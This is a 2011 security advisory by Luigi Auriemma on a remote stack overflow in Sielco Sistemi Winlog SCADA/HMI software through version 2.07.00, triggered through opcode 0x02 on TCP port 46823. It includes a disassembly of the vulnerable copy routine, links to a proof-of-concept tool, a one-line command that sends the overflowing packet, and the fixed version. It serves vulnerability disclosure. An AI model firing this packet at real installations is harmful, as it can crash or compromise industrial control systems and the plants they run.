ed0e1e4d44
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3.2 KiB
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107 lines
No EOL
3.2 KiB
Text
Source: http://aluigi.org/adv/winlog_1-adv.txt
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#######################################################################
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Luigi Auriemma
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Application: Sielco Sistemi Winlog
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http://www.sielcosistemi.com/en/products/winlog_scada_hmi/
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Versions: <= 2.07.00
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Platforms: Windows
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Bug: stack overflow
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Exploitation: remote
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Date: 13 Jan 2011
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bug
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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From vendor's website:
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"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software
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package for the supervision of industrial and civil plants."
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#######################################################################
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======
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2) Bug
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======
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This SCADA software can act as a TCP/IP server by enabling the specific
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"Run TCP/IP server" option available in the
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"Configuration->Options->TCP/IP" section of the project we want to run
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and Runtime.exe will listen on the TCP port 46823.
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The opcode 0x02 of the protocol is used for the handling of some
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strings received by the client and the calling of one of the
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_TCPIP_WriteNumValueFP, _TCPIP_WriteDigValueFP or _TCPIP_WriteStrValueFP
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functions depending by the type of data.
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They use all the same function starting from offset 00446795 for the
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parsing of the data and it's vulnerable to a stack overflow while
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copying the input data in a temporary buffer of about 60 bytes:
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00446795 /$ 55 PUSH EBP
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00446796 |. 8BEC MOV EBP,ESP
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00446798 |. 83C4 C0 ADD ESP,-40
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0044679B |. 53 PUSH EBX
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0044679C |. 56 PUSH ESI
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0044679D |. 57 PUSH EDI
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0044679E |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
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004467A1 |. 8B5D 08 MOV EBX,DWORD PTR SS:[EBP+8]
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004467A4 |. 8BF8 MOV EDI,EAX
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004467A6 |. 33C0 XOR EAX,EAX
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004467A8 |. 56 PUSH ESI
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004467A9 |. 83C9 FF OR ECX,FFFFFFFF
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004467AC |. F2:AE REPNE SCAS BYTE PTR ES:[EDI] ; strlen
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004467AE |. F7D1 NOT ECX
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004467B0 |. 2BF9 SUB EDI,ECX
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004467B2 |. 8D75 C0 LEA ESI,DWORD PTR SS:[EBP-40]
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004467B5 |. 87F7 XCHG EDI,ESI
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004467B7 |. 8BD1 MOV EDX,ECX
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004467B9 |. 8BC7 MOV EAX,EDI
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004467BB |. C1E9 02 SHR ECX,2
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004467BE |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; memcpy
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#######################################################################
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===========
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3) The Code
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===========
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http://aluigi.org/testz/udpsz.zip
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/15992.zip (udpsz.zip)
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udpsz -T -b a -C 020101 SERVER 46823 1000
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#######################################################################
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======
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4) Fix
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======
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Version 2.07.01.
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####################################################################### |